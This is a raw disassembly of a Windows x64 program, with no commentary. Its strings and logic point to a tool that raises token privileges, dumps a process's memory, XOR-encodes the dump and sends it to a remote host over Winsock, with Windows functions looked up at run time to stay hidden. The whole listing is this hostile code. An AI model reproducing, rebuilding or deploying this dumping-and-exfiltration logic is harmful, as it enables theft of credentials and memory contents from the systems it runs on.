mov qword [r14], rcx
mov qword [r14 + 8], 0x1b
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rax
lea rax, [0x140007332]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], 1
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.140001343
mov dword [r14], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x1400045ce
cmp dword [r10], 0x17171717
je 0x1400045db
inc rdx
cmp rax, rdx
jne 0x1400045bc
jmp 0x140003634
mov r14, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, r14
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140004620
mov rcx, r14
call fcn.140001b3a
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140004632
mov rcx, rbx
call fcn.140001b3a
lea r14, [rsp + 0x48]
mov rcx, r14
mov rdx, rsi
call fcn.140002a26
mov rbx, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
lea rcx, [0x14000708c]
lea r14, [rsp + 0x130]
mov qword [r14], rcx
mov qword [r14 + 8], 0x16
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rax
lea rax, [0x140007332]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], 1
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.140001343
mov dword [r14], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x1400046c9
cmp dword [r10], 0x17171717
je 0x1400046d6
inc rdx
cmp rax, rdx
jne 0x1400046b7
jmp 0x140003634
mov r14, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, r14
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14000471b
mov rcx, r14
call fcn.140001b3a
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x14000472d
mov rcx, rbx
call fcn.140001b3a
lea r14, [rsp + 0x48]
mov rcx, r14
mov rdx, rdi
call fcn.140002a26
mov rbx, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
lea rcx, [0x1400070a2]
lea r14, [rsp + 0x130]
mov qword [r14], rcx
mov qword [r14 + 8], 0x14
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rax
lea rax, [0x140007332]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], 1
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.140001343
mov dword [r14], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x1400047c4
cmp dword [r10], 0x17171717
je 0x1400047d1
inc rdx
cmp rax, rdx
jne 0x1400047b2
jmp 0x140003634
mov r14, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, r14
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140004816
mov rcx, r14
call fcn.140001b3a
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140004828
mov rcx, rbx
call fcn.140001b3a
lea r14, [rsp + 0x48]
mov rcx, r14
mov rdx, qword [rsp + 0xd8]
call fcn.140002a26
mov rbx, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
lea rcx, [0x1400070b6]
lea r14, [rsp + 0x130]
mov qword [r14], rcx
mov qword [r14 + 8], 0x1e
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rax
lea rax, [0x140007332]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], 1
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.140001343
mov dword [r14], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x1400048c4
cmp dword [r10], 0x17171717
je 0x1400048d1
inc rdx
cmp rax, rdx
jne 0x1400048b2
jmp 0x140003634
mov r14, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, r14
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140004916
mov rcx, r14
call fcn.140001b3a
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140004928
mov rcx, rbx
call fcn.140001b3a
lea r14, [rsp + 0x48]
mov rcx, r14
mov rdx, qword [rsp + 0xe0]
call fcn.140002a26
mov rbx, qword [r14 + 8]
mov rax, qword [r14 + 0x10]
lea rcx, [0x1400070d4]
lea r14, [rsp + 0x130]
mov qword [r14], rcx
mov qword [r14 + 8], 0x1e
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rax
lea rax, [0x140007332]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], 1
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.140001343
mov dword [r14], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x1400049c4
cmp dword [r10], 0x17171717
je 0x1400049d1
inc rdx
cmp rax, rdx
jne 0x1400049b2
jmp 0x140003634
mov r14, qword [rsp + 0x88]
mov r8d, dword [rsp + 0x90]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov rdx, r14
call qword [r10 + 0x138]
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140004a16
mov rcx, r14
call fcn.140001b3a
mov qword [rsp + 0x308], rbp
mov qword [rsp + 0x310], r15
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x140004a38
mov rcx, rbx
call fcn.140001b3a
xor ebp, ebp
lea rbx, [rsp + 0x350]
mov qword [rbx], rbp
mov r15d, 1
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], rbp
lea rdx, [0x1400070f2]
lea r8, [0x1400070f6]
mov rcx, rbx
call fcn.1400011e6
lea rdx, [0x1400070f6]
lea r8, [0x1400070f8]
mov rcx, rbx
call fcn.1400011e6
lea rdx, [0x1400070f8]
lea r8, [0x1400070fa]
mov rcx, rbx
call fcn.1400011e6
lea rdx, [0x1400070fa]
lea r8, [0x1400070fe]
mov rcx, rbx
call fcn.1400011e6
lea rdx, [0x1400070fe]
lea r8, [0x140007102]
mov rcx, rbx
call fcn.1400011e6
lea r14, [rsp + 0x398]
mov qword [r14], rbp
mov qword [r14 + 8], r15
mov qword [r14 + 0x10], rbp
mov edx, 0x20
sub rdx, qword [rbx + 0x10]
mov rcx, r14
call fcn.1400012c1
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
add r8, rdx
mov rcx, rbx
call fcn.1400011e6
lea rbx, [rsp + 0x368]
mov qword [rbx], rbp
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], rbp
lea rdx, [0x140007102]
lea r8, [0x140007106]
mov rcx, rbx
call fcn.1400011e6
lea r8, [rsp + 0x134]
mov dword [r8 - 4], r12d
lea r14, [rsp + 0x130]
mov rcx, rbx
mov rdx, r14
call fcn.1400011e6
lea rdx, [0x140007106]
lea r8, [0x14000710a]
mov rcx, rbx
call fcn.1400011e6
lea rdx, [0x14000710a]
lea r8, [0x14000710e]
mov rcx, rbx
call fcn.1400011e6
lea rdx, [0x14000710e]
lea r8, [0x140007112]
mov rcx, rbx
call fcn.1400011e6
lea rdx, [0x140007112]
lea r8, [0x140007116]
mov rcx, rbx
call fcn.1400011e6
lea rdx, [0x140007116]
lea r8, [0x14000711a]
mov rcx, rbx
call fcn.1400011e6
mov dword [r14], edi
lea r8, [rsp + 0x134]
lea rdi, [rsp + 0x130]
mov rcx, rbx
mov rdx, rdi
call fcn.1400011e6
mov dword [rdi], esi
lea r8, [rsp + 0x134]
lea rdx, [rsp + 0x130]
mov rcx, rbx
call fcn.1400011e6
mov al, 1
test al, al
je 0x1400060ff
mov al, byte [section..bss]
mov ecx, 8
call fcn.140001a93
test rax, rax
je 0x140006123
mov rdi, rax
mov word [rax], 0x20
xor r12d, r12d
lea rsi, [rsp + 0x380]
mov qword [rsi], r12
mov ebp, 1
mov qword [rsi + 8], rbp
mov qword [rsi + 0x10], r12
lea r8, [rsp + 0x132]
mov word [r8 - 2], 9
lea rbx, [rsp + 0x130]
mov rcx, rsi
mov rdx, rbx
call fcn.1400011e6
lea r14, [rsp + 0x318]
mov qword [r14], r12
mov qword [r14 + 8], rbp
mov qword [r14 + 0x10], r12
mov edx, 6
mov rcx, r14
call fcn.1400012c1
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
add r8, rdx
mov rcx, rsi
call fcn.1400011e6
mov eax, dword [rsp + 0x128]
mov dword [rbx], eax
lea r8, [rsp + 0x134]
lea rbx, [rsp + 0x130]
mov rcx, rsi
mov rdx, rbx
call fcn.1400011e6
mov eax, dword [rsp + 0x12c]
mov dword [rbx], eax
lea r8, [rsp + 0x134]
lea rbx, [rsp + 0x130]
mov rcx, rsi
mov rdx, rbx
call fcn.1400011e6
mov eax, dword [rsp + 0x108]
mov dword [rbx], eax
lea r8, [rsp + 0x134]
lea rbx, [rsp + 0x130]
mov rcx, rsi
mov rdx, rbx
call fcn.1400011e6
mov eax, dword [rsp + 0x118]
mov dword [rbx], eax
lea r8, [rsp + 0x134]
lea rdx, [rsp + 0x130]
mov rcx, rsi
call fcn.1400011e6
lea r8, [rsp + 0x132]
movzx eax, word [rdi]
mov word [r8 - 2], ax
lea rbx, [rsp + 0x130]
mov rcx, rsi
mov rdx, rbx
call fcn.1400011e6
mov edx, 8
mov rcx, rdi
call fcn.140001b3a
lea rdi, [rsp + 0xf0]
mov qword [rdi], r12
mov qword [rdi + 8], rbp
mov qword [rdi + 0x10], r12
mov edx, 0x38
sub rdx, qword [rsi + 0x10]
mov rcx, rdi
call fcn.1400012c1
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
add r8, rdx
mov rcx, rsi
call fcn.1400011e6
lea rcx, [rsp + 0x60]
mov qword [rcx], r12
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], r12
mov dword [rbx], r13d
lea r8, [rsp + 0x134]
lea rdx, [rsp + 0x130]
call fcn.1400011e6
test r13, r13
je 0x14000524c
lea rsi, [rsp + 0x60]
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsp + 0x300]
lea rdi, [rcx + rax]
add rdi, 0x7c
xor ebx, ebx
lea r15, [rsp + 0x130]
lea r13, str.Failed_to_retrieve_process_snapshot_with_status:_____NtAdjustPrivilegesToken_failed_with_status:_____NtOpenProcessToken_failed_with_status:_0123456789ABCDEF0x0ws2_32.dll127.0.0.1___Dump_sent_successfully_to_remote_host_____Failed_to_send_data_to_remote_host_with_error_code:_____Failed_to_connect_socket_with_error:_____Failed_to_create_socket_with_error:_____Failed_to_initialize_Winsock_with_error:____Process_handle:_____Failed_to_create_memory_dump____No_modules_found._Exiting_____Failed_to_retrieve_process_handle._Exiting__n
xor r14d, r14d
mov r12, qword [rsp + 0x78]
mov rax, qword [r12 + r14 + 0x30]
mov qword [rsp + 0x130], rax
mov rcx, rsi
mov rdx, r15
lea r8, [rsp + 0x138]
call fcn.1400011e6
mov rax, qword [r12 + r14 + 0x38]
mov qword [rsp + 0x130], rax
mov rcx, rsi
mov rdx, r15
lea r8, [rsp + 0x138]
call fcn.1400011e6
mov rcx, rsi
lea rdx, [0x14000711b]
mov r8, r13
call fcn.1400011e6
mov qword [rsp + 0x130], rdi
mov rcx, rsi
mov rdx, r15
lea r8, [rsp + 0x138]
call fcn.1400011e6
mov r12, qword [r12 + r14 + 0x28]
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], 1
mov qword [rsp + 0x140], rbx
mov edx, 0x50
mov rcx, r15
call fcn.1400012c1
mov rbp, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
add r8, rbp
mov rcx, rsi
mov rdx, rbp
call fcn.1400011e6
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x140004ea6
mov rcx, rbp
call fcn.140001b3a
lea rdi, [rdi + r12*2]
add rdi, 8
add r14, 0x40
cmp qword [rsp + 0xe8], r14
jne 0x140004dd3
xor r12d, r12d
lea r14, [rsp + 0x130]
mov rbx, qword [rsp + 0x78]
mov rax, qword [rbx + 0x20]
mov rcx, qword [rbx + 0x28]
add rcx, rax
mov qword [rsp + 0x80], r12
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rcx
mov word [rsp + 0xd0], 0
lea rcx, [rsp + 0x80]
call fcn.14000106f
test al, 1
je 0x1400050fb
mov esi, edx
mov rdi, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
sub rdi, qword [rsp + 0x88]
cmp byte [rsp + 0x80], 0
cmove rdi, r12
sub rcx, qword [rsp + 0xa8]
cmp byte [rsp + 0xa0], 0
cmove rcx, r12
mov r8, qword [rsp + 0xc0]
mov edx, 0
test r8, r8
je 0x140004f95
mov rax, qword [rsp + 0xc8]
sub rax, r8
add rax, 2
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
shr rdx, 1
cmp word [rsp + 0xd0], 1
sbb rdx, 0xffffffffffffffff
add rdx, rdx
add rdi, rcx
mov rax, 0xffffffffffffffff
cmovb rdi, rax
add rdi, rdx
cmovb rdi, rax
inc rdi
cmove rdi, rax
cmp rdi, 9
mov eax, 8
cmovb rdi, rax
test rdi, rdi
js 0x1400060ff
mov al, byte [section..bss]
mov rcx, rdi
call fcn.140001a93
test rax, rax
je 0x140006104
mov rbp, rax
mov byte [rax], sil
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov ecx, 0xb
mov rdi, r14
lea rsi, [rsp + 0x80]
rep movsq qword [rdi], qword [rsi]
mov esi, 1
mov rcx, r14
call fcn.14000106f
test al, 1
je 0x140005106
mov edi, edx
cmp rsi, qword [rsp + 0x48]
je 0x140005037
mov byte [rbp + rsi], dil
inc rsi
mov qword [rsp + 0x58], rsi
jmp 0x14000500f
mov rcx, qword [rsp + 0x140]
mov r8, qword [rsp + 0x160]
sub rcx, qword [rsp + 0x138]
cmp byte [rsp + 0x130], 0
cmove rcx, r12
sub r8, qword [rsp + 0x158]
cmp byte [rsp + 0x150], 0
cmove r8, r12
mov r9, qword [rsp + 0x170]
mov edx, 0
test r9, r9
je 0x1400050b0
mov rax, qword [rsp + 0x178]
sub rax, r9
add rax, 2
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
shr rdx, 1
cmp word [rsp + 0x180], 1
sbb rdx, 0xffffffffffffffff
add rdx, rdx
add rcx, r8
mov r8, 0xffffffffffffffff
cmovb rcx, r8
mov rax, 0xffffffffffffffff
add rcx, rdx
jb 0x1400050cd
mov rax, rcx
inc rax
je 0x1400050d5
mov r8, rax
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0x48]
mov rdx, rsi
call fcn.1400017d0
mov rbp, qword [rsp + 0x50]
jmp 0x140005028
mov ebp, 1
xor edi, edi
xor esi, esi
jmp 0x140005110
mov rdi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov r15, rbx
mov eax, dword [rbx + 0x28]
add eax, eax
mov dword [rsp + 0x130], eax
lea rcx, [rsp + 0x60]
mov rdx, r14
lea r8, [rsp + 0x134]
call fcn.1400011e6
mov rcx, r14
mov rdx, rbp
mov r8, rsi
call fcn.140001800
mov rsi, qword [rsp + 0x130]
mov rbx, qword [rsp + 0x138]
mov r12, qword [rsp + 0x140]
mov rax, qword [rsp + 0x60]
mov r13, qword [rsp + 0x70]
sub rax, r13
cmp rax, r12
jb 0x140005223
mov rcx, qword [rsp + 0x68]
add rcx, r13
mov rdx, rbx
mov r8, r12
call fcn.14000187e
add r13, r12
mov qword [rsp + 0x70], r13
test rsi, rsi
je 0x14000519b
mov rcx, rbx
mov rdx, rsi
call fcn.140001b3a
xor r12d, r12d
mov qword [rsp + 0x130], r12
mov qword [rsp + 0x138], 1
mov qword [rsp + 0x140], r12
mov edx, 4
mov rcx, r14
call fcn.1400012c1
mov rsi, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
add r8, rsi
lea rcx, [rsp + 0x60]
mov rdx, rsi
call fcn.1400011e6
mov rdx, qword [rsp + 0x130]
test rdx, rdx
je 0x1400051fc
mov rcx, rsi
call fcn.140001b3a
test rdi, rdi
mov rbx, r15
je 0x14000520f
mov rcx, rbp
mov rdx, rdi
call fcn.140001b3a
add rbx, 0x40
cmp rbx, qword [rsp + 0x110]
jne 0x140004ed0
jmp 0x14000524c
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0x60]
mov rdx, r13
mov r8, r12
call fcn.1400017d0
mov r13, qword [rsp + 0x70]
jmp 0x140005170
xor eax, eax
lea rsi, [rsp + 0x80]
mov qword [rsi], rax
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], rax
lea r8, [rsp + 0x138]
mov r12, qword [rsp + 0xe0]
mov qword [r8 - 8], r12
lea rdi, [rsp + 0x130]
mov rcx, rsi
mov rdx, rdi
call fcn.1400011e6
mov rax, qword [rsp + 0x2d0]
mov qword [rdi], rax
lea r8, [rsp + 0x138]
lea rdx, [rsp + 0x130]
mov rcx, rsi
call fcn.1400011e6
test r12, r12
mov r13, qword [rsp + 0x308]
je 0x140005322
shl r12, 4
add r12, r13
lea rsi, [rsp + 0x138]
lea rdi, [rsp + 0x138]
lea rbx, [rsp + 0x80]
lea r14, [rsp + 0x130]
mov r15, r13
mov rax, qword [r15]
mov qword [rsp + 0x130], rax
mov rcx, rbx
mov rdx, r14
mov r8, rsi
call fcn.1400011e6
mov rax, qword [r15 + 8]
mov qword [rsp + 0x130], rax
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.1400011e6
add r15, 0x10
cmp r15, r12
jne 0x1400052e6
xor ebx, ebx
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], 1
mov qword [rsp + 0x140], rbx
mov rdi, qword [rsp + 0x350]
mov r14, qword [rsp + 0x358]
mov r15, qword [rsp + 0x360]
mov esi, 1
test r15, r15
mov rbp, qword [rsp + 0x120]
jne 0x140005b21
lea rcx, [rsi + rbx]
mov rdx, r14
mov r8, r15
call fcn.14000187e
add rbx, r15
mov qword [rsp + 0x140], rbx
test rdi, rdi
je 0x140005398
mov rcx, r14
mov rdx, rdi
call fcn.140001b3a
mov rdi, qword [rsp + 0x368]
mov r14, qword [rsp + 0x370]
mov r15, qword [rsp + 0x378]
mov rax, qword [rsp + 0x130]
sub rax, rbx
cmp rax, r15
jb 0x140005b52
add rsi, rbx
mov rcx, rsi
mov rdx, r14
mov r8, r15
call fcn.14000187e
add rbx, r15
mov qword [rsp + 0x140], rbx
test rdi, rdi
je 0x1400053f0
mov rcx, r14
mov rdx, rdi
call fcn.140001b3a
mov rdi, qword [rsp + 0x380]
mov r14, qword [rsp + 0x388]
mov r15, qword [rsp + 0x390]
mov rax, qword [rsp + 0x130]
sub rax, rbx
cmp rax, r15
jb 0x140005b86
mov rsi, qword [rsp + 0x138]
lea rcx, [rsi + rbx]
mov rdx, r14
mov r8, r15
call fcn.14000187e
add rbx, r15
mov qword [rsp + 0x140], rbx
test rdi, rdi
je 0x14000544e
mov rcx, r14
mov rdx, rdi
call fcn.140001b3a
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
mov rax, qword [rsp + 0x130]
sub rax, rbx
cmp rax, r15
jb 0x140005bb4
lea rcx, [rsi + rbx]
mov rdx, r14
mov r8, r15
call fcn.14000187e
add rbx, r15
mov qword [rsp + 0x140], rbx
test rdi, rdi
je 0x14000549b
mov rcx, r14
mov rdx, rdi
call fcn.140001b3a
mov rdi, qword [rsp + 0x80]
mov r14, qword [rsp + 0x88]
mov r15, qword [rsp + 0x90]
mov rax, qword [rsp + 0x130]
sub rax, rbx
cmp rax, r15
jb 0x140005be8
add rsi, rbx
mov rcx, rsi
mov rdx, r14
mov r8, r15
call fcn.14000187e
add rbx, r15
mov qword [rsp + 0x140], rbx
test rdi, rdi
je 0x1400054f3
mov rcx, r14
mov rdx, rdi
call fcn.140001b3a
mov rax, qword [rsp + 0x130]
sub rax, rbx
mov r15, qword [rsp + 0xd8]
cmp rax, r15
mov r14, qword [rsp + 0x310]
jb 0x140005c1c
mov rdi, qword [rsp + 0x2d8]
mov rsi, qword [rsp + 0x138]
lea rcx, [rsi + rbx]
mov rdx, rbp
mov r8, r15
call fcn.14000187e
test rdi, rdi
je 0x140005546
mov rcx, rbp
mov rdx, rdi
call fcn.140001b3a
mov rdi, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xf0]
test rdx, rdx
je 0x140005568
mov rcx, qword [rsp + 0xf8]
call fcn.140001b3a
mov rdx, qword [rsp + 0x318]
test rdx, rdx
je 0x140005582
mov rcx, qword [rsp + 0x320]
call fcn.140001b3a
mov rdx, qword [rsp + 0x398]
test rdx, rdx
je 0x14000559c
mov rcx, qword [rsp + 0x3a0]
call fcn.140001b3a
add rbx, r15
test r14, r14
je 0x1400055b3
shl r14, 4
mov rcx, r13
mov rdx, r14
call fcn.140001b3a
lea rcx, [rsp + 0x330]
call fcn.140001250
test rbx, rbx
je 0x140005890
lea r15, [rsp + 0x130]
mov rcx, r15
mov rdx, rsi
mov r8, rbx
call fcn.140001800
mov rbx, qword [r15]
mov r14, qword [r15 + 8]
mov r8, qword [r15 + 0x10]
test r8, r8
je 0x1400055fe
xor eax, eax
xor byte [r14 + rax], 0x17
inc rax
cmp r8, rax
jne 0x1400055f1
lea rcx, [rsp + 0x60]
mov rdx, r14
call fcn.140001800
lea rcx, [rsp + 0x130]
mov r8d, 0x198
xor edx, edx
call fcn.140001868
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x140005653
cmp dword [r8], 0x17171717
je 0x140005660
inc rdx
cmp rax, rdx
jne 0x140005641
jmp 0x140003634
lea rdx, [rsp + 0x130]
mov cx, 0x202
call qword [r8 + 0x150]
test eax, eax
je 0x14000577b
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r8, qword [rcx + rdx*8]
test r8, r8
je 0x1400056ae
cmp dword [r8], 0x17171717
je 0x1400056bb
inc rdx
cmp rax, rdx
jne 0x14000569c
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r9, qword [rcx + rdx*8]
test r9, r9
je 0x1400057ae
cmp dword [r9], 0x17171717
je 0x1400057bb
inc rdx
cmp rax, rdx
jne 0x14000579c
mov dword [rsp + 0x130], 0
mov rcx, qword gs:[0x60]
mov eax, dword [rcx + 0xe8]
test rax, rax
mov rbx, qword [rsp + 0x2f8]
je 0x140003634
mov rcx, qword [rcx + 0xf0]
xor edx, edx
mov r10, qword [rcx + rdx*8]
test r10, r10
je 0x1400058d6
cmp dword [r10], 0x17171717
je 0x1400058e3
inc rdx
cmp rax, rdx
jne 0x1400058c4
jmp 0x140003634
mov qword [rsp + 0x20], 0
lea rdx, [0x1400072c5]
lea r9, [rsp + 0x130]
mov ecx, 0xfffffff5
mov r8d, 0x20
call qword [r10 + 0x138]
test rdi, rdi
je 0x14000591d
mov rcx, rsi
mov rdx, rdi
call fcn.140001b3a
test rbx, rbx
jne 0x1400032f8
lea rcx, [rsp + 0x2e0]
call fcn.140001250
jmp 0x1400032f8
mov qword [rsp + 0x20], 1
lea rbx, [rsp + 0x130]
mov r9d, 1
mov rcx, rbx
xor edx, edx
mov r8, r15
call fcn.1400017d0
mov rsi, qword [rbx + 8]
mov rbx, qword [rbx + 0x10]
jmp 0x14000536e
mov qword [rsp + 0x20], 1
lea r12, [rsp + 0x130]
mov r9d, 1
mov rcx, r12
mov rdx, rbx
mov r8, r15
call fcn.1400017d0
mov rsi, qword [r12 + 8]
mov rbx, qword [r12 + 0x10]
jmp 0x1400053c4
mov qword [rsp + 0x20], 1
lea rsi, [rsp + 0x130]
mov r9d, 1
mov rcx, rsi
mov rdx, rbx
mov r8, r15
call fcn.1400017d0
mov rbx, qword [rsi + 0x10]
jmp 0x14000541c
mov qword [rsp + 0x20], 1
lea r12, [rsp + 0x130]
mov r9d, 1
mov rcx, r12
mov rdx, rbx
mov r8, r15
call fcn.1400017d0
mov rsi, qword [r12 + 8]
mov rbx, qword [r12 + 0x10]
jmp 0x140005471
mov qword [rsp + 0x20], 1
lea r12, [rsp + 0x130]
mov r9d, 1
mov rcx, r12
mov rdx, rbx
mov r8, r15
call fcn.1400017d0
mov rsi, qword [r12 + 8]
mov rbx, qword [r12 + 0x10]
jmp 0x1400054c7
mov qword [rsp + 0x20], 1
lea rsi, [rsp + 0x130]
mov r9d, 1
mov rcx, rsi
mov rdx, rbx
mov r8, r15
call fcn.1400017d0
mov rbx, qword [rsi + 0x10]
jmp 0x140005517
call fcn.1400061c0
mov rcx, rdi
call fcn.1400061d0
mov rcx, rbp
call fcn.1400061d0
mov ecx, 7
call fcn.1400061d0
call fcn.1400064e0
mov ecx, 8
call fcn.1400061d0
lea rcx, [rsp + 0x3b0]
call fcn.1400064b0
int3